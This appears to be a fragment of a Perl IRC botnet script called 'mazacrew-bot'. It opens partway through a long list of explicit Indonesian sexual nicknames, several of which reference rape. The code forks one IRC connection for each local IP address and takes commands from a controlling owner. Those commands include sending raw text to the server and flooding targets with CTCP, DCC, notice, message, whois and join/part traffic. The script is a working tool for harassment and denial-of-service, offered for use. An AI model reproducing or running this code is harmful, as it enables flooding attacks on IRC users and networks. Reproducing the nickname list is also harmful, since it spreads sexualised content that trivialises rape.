"mulus_bgt","putih_mulus","cari_nikmat","cari_nikmat","cr_nikmat","cr_nikmat","pngn_buang_virgin","pngn_dihajar","meranjang","meranjang","free4fun","free4fun","penghibur_cow","penghibur_cow",
"pngn_main_belakang","pngn_main_belakang","pengen_nungging","pengen_nungging","mw_main_kasar","mw_main_kasar","pngn_dinikmati","penjinak_cow","pengen_semalam","main_isi_pulsa","mw_diperkosa",
"pngen_gituan","cr_kesenangan","pemuas_buaya","pengen_jatah","minta_jatah","pengen_dipuasin","mw_dipuasin","pemuja_cow","mw_gituan","pengen_gituan","sk_meranjang","sk_ngemut","sexy-bgt",
"bokepers","sk_burung","pemuas","butuh_cow","rela_diperkosa","pengen_di_isep","ga_pakeCD","telanjang","maniax","cutexx","starone","sakit","semrawut","noni_korax","sumringah","noni_kegelapan",
"pujangga","emperor","mutiara","ratu","srigala","jadi_jadian","korek_api","mulijahal","dewaza","cafein","kopi_maniz","kulus","dramatix","tragis","kenangan","berbunga2","noni_seal",
"modeling","sk_gelap","nescafee","cakep-bgt","cantix_kul","pemuassss","cari_gituan","cari_tugas","jahalria","17cute","cleopatra","cntix_kul","CR_CR","cr_hacker","cr_web_desain",
"cuanteeeeek","cuet_cuet","cute_cr_temen","cutez","desain","dunia_maya","Dwss_bgt","Fitri_FS","fS_nARziEsss","mo_gajian","gembredek","genit_bgt","gi_anu_anu","gi_sibuk","hackers",
"ideal","ImoetzzzZ","imoot","imootez","ImUtZzZz","imyuth","informatika","jutek_bgt","kerens_fs","kerj_di_internet","lg_kesepian","komputeris","korea","kul_Cantix","kuliah_ITS",
"lebay_euy","linux_user","lynx","maniees","maniezt_girl","mAnIiEezzZ_jOmBlO","noni_matre","moesliem","ngeblog","noni_nightmare","nizzz","nulis_web","patah_ht","penulis","perompak","pinter_banget",
"pirate","product","punya_blog","punya_web","punya_website","re2","riZa_efEZt","SAKURA_nizz","kebobolan","site_modeling","smart_plus_maniezz","suka_anime","noni_SWEETY","pinter_muasin",
"putih_mulus","mulussss","cri_perangsang","pengen_gituannn","smk_it","Pemangsa_Sby","demen_gituan","anggun","sk_bikin_anak","bikini_bgt","engen_lontong","crI_tMn_bAEk","CutE","dispro",
"informatika","jomblo_nizz","sk_bgt","anunya_mulus","cr_selingkuhan","teknik_industri","dias_fs","jahalek_belajar_web","jahalek_demen_naruto","jahalek_hongkong","jahalek_inisial_N","jahalek_japan_anime","jahalek_kerj_internet",
"jahalek_koleksi_movie","jahalek_lg_butuh_itu","jahalek_olaraga_kelamiiin","jahalek_pinter","jahalek_itunya_mulus","itunya_putih","korea_cakep","jahalk_dJombLow","jahalk_niezt","jahal3k_t0mb0y","kerens","mursals","brandals","solo_lo",
"ria","cicak","spiderman","mulus_gi_pengen","buaya","kuliah_wk","kul_unesa","putih_nizz","gitaris","sep_bgt","mantapp","mo_pingsan","pengen_mati","ngerjain_tugas","seles_nokia","lamru",
"jav_model","av_model","model_bokep","model_jav","model_av","model_av","maria_ozawa","model_hot","hot_model","model_mulus","ajak_kencan","kencan_semalam","making_love","pemijat","pijat_nikmat",
"tahan_lama","kuat_digilir","nakal_pengen","cr_nikmattt","cr_kesenangan","cr_om2_genit","eka_mulusss","mupeng_berat","mupeng_banget","tetek_gedee","nenen","noni_bokepers","artis_bokep","sk_bokep",
"binjahalg_bokep","sk_om2","mau_ma_om2","pengen_ma_om2","jalan_ma_om2","rok_mini","rok_pendek","rok_minim","ga_pake_rok","pake_stoking","paha_mulus","da2_mulus","da2_gede","da2_imut","jual_itu",
"jual_nikmat","jual_jasa","jalanan","bad","item_maniez","putih_maniez","kuning_maniez","item_mulus","kuning_mulus","berbulu","berbulu_pengen","lg_pengennnn","main_keras","maen_ganas","amature",
"hard-Core","mulus_jav","av-model","gunung_gede","gunung_mulus","lubang_buaya","kupu2-malam","paha_mulusss","selangkangan_gatal","korea_cr_cow","bertato","main_free","main_ps","pengen_ps",
"penyewaan_jasa","pembunuh_cow","buaya_laut","lubang_buaya","cr_buaya","DiTiduriBuaya","pemuas_lelaki","pemuas_cow","pemuas_buaya","pemuas_om2","pemuas_pejanjahal","cr-pejanjahal","mw_ama_pejanjahal",
"cr_mr-P","demen_mr-P","butuh_mr-P","sk_mr-P","ga_virgin","hilang_virgin","virgine_unlimited","emut_mr-P","perokok_jahallat","tumbuh_rambut","tumbuh_gunung","tumbuh_itunya","mw_em-el","bs_hub-intim",
"mw-hub-intim","pengen_hub-intim","pengen_intim","horrneeey","gatal-itunya","pemerkosa_om2","pemerkosa_perjaka","pemerkosa_jejaka","pemerkosa_cow","lessby","lezzz","cantix_less","less_mulus","biseeeks",
"kuat_dikeroyok","pgen_dikeroyok","dikeroyok_cow","itunya-gede","itunya-gatal","itunya-imoet","itunya-mulus","model_japan","model_maniz","model_anime","haruna-sakura","model-miyabi","kalahin-miyabi",
"panas_pengen","pengen_hot","borack","ketagihan_cow","ketagihan_pisang","pengen_pisang","pake_bra_ketat","bispak-bgt","mw_nungging","snungging","sdogi","boxer","ssamping","pakar_bercinta",
"mahir_bercinta","pngen_bercinta","mw_bercinta","mau_bercinta","jahal2","jahal2-btuh","jahal2_cr","jahal2_pengen","jahal2_cr_cow","free_ml","free_bokep","dugem_asyik","ratu_dugem","mw_dugem","pngen_dugem",
"lg_dugem","lg_mabok","cd_pink","cd_merah","cd_ijo","cd_putih","cd_transparan","cd_item","cd_biru","pemusnah_massal","pmusnah_cow","free_video","free_gituan","mw_gituan-free","pngen-jahalk-in","mw_jahalk-in",
"dadamulus","da2Mulus","bra_putih","poto_model","mw-date","dapijahal","mira","robi","tati","tutik","tutik","mira","vitaa","eny","iin","eka","sari","linda","pipit",
"santi","eva","fany","ely","melly","ester","putri","po3","ella","rosi","inem","tatik","sthevani","dicks","dinodai","ratih","ajenk","ajeng","diah","dyah","marsya","cantixx",
"cantika","anggi","angelina","indah","permata","dian","pamela","herlina","lina","nanda","ananda","adel","adult","adult_model","adult","japan_adult","sby_adult","adult","modeling_adult",
"cina_cuantik","ckp_bngt","cr_ttm","CuNi3z_Fs","cut3","CuTe_SmA","cUtEz","gokiiilllll_lucu","less_mutz","zkull_ztar_one","noni-CANTIK-ADUHAI","jahal3x_chn","noni_1c4gals","noni_b4w3l","noni_CHNZZZ_smg","noni_im03t_brajahalg",
"noni_j0m8L0","noni_jut3x","noni_macan_imutz","noni_matre","noni_SWEETY","Me2_CakeP","19_JOMBLO","17_JOMBLO","18_JOMBLO","20_JOMBLO","21_JOMBLO'","22_JOMBLO","JOMBLO","jahalktop","berdaster","daster","CANTIKX",
"mu4niiIIeEezZZ","kerenzzs","phones3x","show_CaM","ajaib_ok","aJaH_dEcH","aJIP","anggun","apa_adanya","army","aSiK_aJaH","asyik_girl","ayu","b4n9et","baEk_cr","BaEk_cuTeZ_fs","bahenol",
"barusan_jomblo","bibir_mungil","beautiful_girls","beauty","bebas_pa_ja","benci_dunia","bikin_gemes","binal","Bispak_Gratis","bRokEnheArt","bsa_maen_musik","bth_duit","bugil","BuGil_SeNdiRian","Bule-cr-knln",
"butuh_cairan","ByRAn_nOw","c4-NtIk_cUTe","cAEm_yUhuu","cakep-cr-pcr","cantikgirl","cANtIqUe","capi_fs","cARi_cO_cAkEp","cari_cowo_chns","cari_doktermuda","cari_pacar","CaRi_TemeN_BoBo","chinese","chn_hot",
"chn_jomblo","Chnz_Lezz","Chnz_OK","cimpoek","cinderella","cleopatra","CLuBbYnG","cntiq_mau_PS","cntix_kul","cRi","cute_n_cantiq","dada_kecil","dah_basah_neh","dah_basah","Devi","dijamin","doyan_kehotel",
"dws_Maniz","eviana","FiTa","fitri","full","fun_dancluber","ge_pngen","happy","keyrenz","kos_dinodai","kos_butuh","kos_pengen","kosan_bth","kosan_sndiri","Lesbi","lesby_horny","LG_KSEPIAN","LuOcU",
"m0_Lepas_KepeRawanan","ma0_mERasaKan_ML","manda_maniez","Maniax_sek","mauML","marsha","mo_dinodai_2x","MoNTok","montox","mungil","mUpEng","nWarzIZ_CR","nafsu_gede","nakal_bgtz","ngebet","nongkronk","pLing_imUth",
"pnggin","puengen_bgt","ratu_buaya","sedang_cr_cinta","seksi","susu_montok","swe3t_cr_co","tuLen","jahal-17-model","8u61L_HoT","bth_kehangajahal","dhiajenk","herrera","hester","heubert","heyeck","himmelfarb","hind",
"hirst","hitchcock","hoang","hock","dramatix","ga_sk_fs","GiLa_hEpOtEsA","horny_nie","jmbLo_sBy_imutzZ","LopHE_mUtZz","modeling","jahalek_Suka_ga_pake","nia","sexyss","lawless","lecar","lecjahal","leclercq","leite",
"lenard","sofia","lesser","lessi","liakos","lidano","liem","pelit","politis","rivera","row","royal","ru","sexton","stock-terbatas","sumer","tuttle","bikini_mulus","bikini_model","valencia",
"vanZwet","venne","white","viana","viens","villarreal","vital","viviani","me2_imoet","nakal","butuh_pisanggg","butuh_gituan");
my @realname = ("bot m3ksi");
my @WHO;
my $qqum="*";
$ARGC=@ARGV;
if ($ARGC !=1) {
print "\n+ mazacrew-bot\n";
print "+ Aturan Pakai : perl $0 (server)\n";
print "+ betulin dulu sekriptnya boss..\n\n";
exit(1);
}
$SIG{CHLD} = sub { wait }; # alterando o signal
my $qtip = qx(/sbin/ifconfig |grep inet | wc -l);
my @ips1 =qx(/sbin/ifconfig |grep \"inet addr\:\" \|awk \-F \' \' \'\{\print \$2\} \' \| cut \-c6\-);
my @ips2 =qx(/sbin/ifconfig \-a |grep \"inet end\.\:\" \|awk \-F \' \' \'\{\print \$3\} \');
my @fbsd =qx(/sbin/ifconfig \|grep \"inet\" \|awk \-F \' \' \'\{\print \$2\} \' \| cut \-c1\-);
@ips = (@ips1, @ips2, @fbsd);
open(ipzitcho,">ips.txt") || die "- ips.txt not found";
print ipzitcho" @ips";
close(ipzitcho);
@ips = grep { s/\n$// } @ips;
$0 = $procname . "\0";
$nick2 = $nick;
print STDOUT "\n+ user\n";
print STDOUT "+ Server : $server\n";
print STDOUT "+ Port : $port\n";
print STDOUT "+ Owner : $owner\n";
print STDOUT "+ Channel: $channel\n";
print STDOUT "+ IPs : $qtip\n\n";
use IO::Socket;
foreach my $FROM (@ips) {
my $pid = fork(); # gerando um novo projahalsso
unless ($pid) { #
my $ident = $nickname[rand scalar @nickname];
my $nick = $nickname[rand scalar @nickname];
my $name = $realname[rand scalar @realname];
$sock=IO::Socket::INET->new(LocalAddr => $FROM, Proto=>"tcp", PeerAddr=> $server, PeerPort=> $port) || exit();
print $sock "NICK ".$nick."\n";
print $sock "USER $ident $FROM $server :$name\n";
while (<$sock>) {
if (/^:.+?\s433\s/) { # nick already in use
$nick2 = $nickname[rand scalar @nickname];
print $sock "NICK ".$nick2."\n";
}
if (/^:.+?\s376\s/) { # end of motd
print $sock "JOIN $channel\n";
}
if(/^PING :(.*)/){ #replying the ping
print $sock "PONG :$1\n";
}
if(/^\:$owner!.*\@.*PRIVMSG.*:.mbod (.*)/){
print $sock "$1";
}
if(/^\:$owner!.*\@.*PRIVMSG.*:.help(.*)/){
print $sock "PRIVMSG ".$owner." : Rendy\n";
print $sock "PRIVMSG ".$owner." : #jahal\n";
print $sock "PRIVMSG ".$owner." : ------------\n";
print $sock "PRIVMSG ".$owner." : .bot join #chan\n";
print $sock "PRIVMSG ".$owner." : .bot part #chan\n";
print $sock "PRIVMSG ".$owner." : .msg nick (nick)\n";
print $sock "PRIVMSG ".$owner." : .quit\n";
print $sock "PRIVMSG ".$owner." : ------------\n";
print $sock "PRIVMSG ".$owner." : .ctcpflood (nick)\n";
print $sock "PRIVMSG ".$owner." : .dccflood (nick)\n";
print $sock "PRIVMSG ".$owner." : .notijahalflood (nick)\n";
print $sock "PRIVMSG ".$owner." : .msgflood (nick)\n";
print $sock "PRIVMSG ".$owner." : .hop #chan (pesan)\n";
}
if(/^\:$owner!.*\@.*PRIVMSG.*:.msg(.*)/){
print $sock "PRIVMSG ".$1." : ".$2."\n";
}
if(/^\:$owner!.*\@.*PRIVMSG.*:.who(.*)/){
print $sock "who ".$channel."\n";
}
if (/^:.+?\s+352\s+\S+\s+\S+\s+(.+?)$/) {
my $nicks = $1;
#$nicks =~ s/\n//;
#$nicks =~ s/\r//;
push(@WHO, split(/ /, $nicks));
print STDOUT "$who[1]\n";
}
if(/^\:$owner!.*\@.*PRIVMSG.*:.dccflood(.*)/){
for (1 .. 5) {
print $sock "PRIVMSG ".$1." :\001DCC CHAT chat 1121485131 1024\001\n";
}
}
if(/^\:$owner!.*\@.*PRIVMSG.*:.whoisflood(.*)/){
for (1 .. 5) {
print $sock "whois ".$1."\n";
}
}
if(/^\:$owner!.*\@.*PRIVMSG.*:.hop (.*)/){
print $sock "JOIN ".$1." : ".$2."\n";
for (1 .. 5) {
print $sock "PART ".$1." : ".$2."\n";
print $sock "JOIN ".$1." : ".$2."\n";
}
}
if(/^\:$owner!.*\@.*PRIVMSG.*:.ctcpflood(.*)/){
print $sock "PRIVMSG ".$1." :\001VERSION\001\n";
for (1 .. 5) {
print $sock "PRIVMSG ".$1." :\001VERSION\001\n";
print $sock "PRIVMSG ".$1." :\001PING\001\n";
}
}
if(/^\:$owner!.*\@.*PRIVMSG.*:.msgflood(.*)/){
for (1 .. 5) {
print $sock "PRIVMSG ".$1." :4susumu cilikkkkkkkkk\n";
}
}
if(/^\:$owner!.*\@.*PRIVMSG.*:.notijahalflood(.*)/){
for (1 .. 5) {
print $sock "NOTIjahal ".$1." :4susumu cilikkkkkkkkk\n";
}
}
if(/^ERROR :(.*)/){
use IO::Socket;
$sock=IO::Socket::INET->new(LocalAddr => $FROM, Proto=>"tcp", PeerAddr=> $server, PeerPort=> $port)
|| exit();
print $sock "NICK ".$nick."\n";
print $sock "USER $ident $FROM $server :$name\n";
}
if(/^\:$owner!.*\@.*PRIVMSG.*:.quit(.*)/){
die();
}
if(/^\:.*: Connection timed out(.*)/){
print STDOUT "[~] Connection Timed Out! Retrying!\n";
use IO::Socket;
$sock=IO::Socket::INET->new(LocalAddr => $FROM, Proto=>"tcp", PeerAddr=> $server, PeerPort=> $port)
|| exit();
print $sock "NICK ".$nick."\n";
print $sock "USER $ident $FROM $server :$name\n";
}
if(/^\:$owner!.*\@.*PRIVMSG.*:.ssmaboyts(.*)/){
print $sock "PRIVMSG ".$owner." : Bot Ssmaboyts\n";
print $sock "PRIVMSG ".$owner." : Using server : $server\n";
print $sock "PRIVMSG ".$owner." : Using port : $port\n";
print $sock "PRIVMSG ".$owner." : Using nick : $nick\n";
print $sock "PRIVMSG ".$owner." : Using owner : $owner\n";
print $sock "PRIVMSG ".$owner." : Using ident : $id\n";
print $sock "PRIVMSG ".$owner." : putri-bot\n\n";
}
if( /^\:$owner!.*\@.*\s+PRIVMSG.*:.owner\s+(.*)/ ){
$owner =$1;
$owner =~ s/ //;
$owner =~ s/\r$//;
$owner =~ s/\n$//;
}
}
exit;
}
}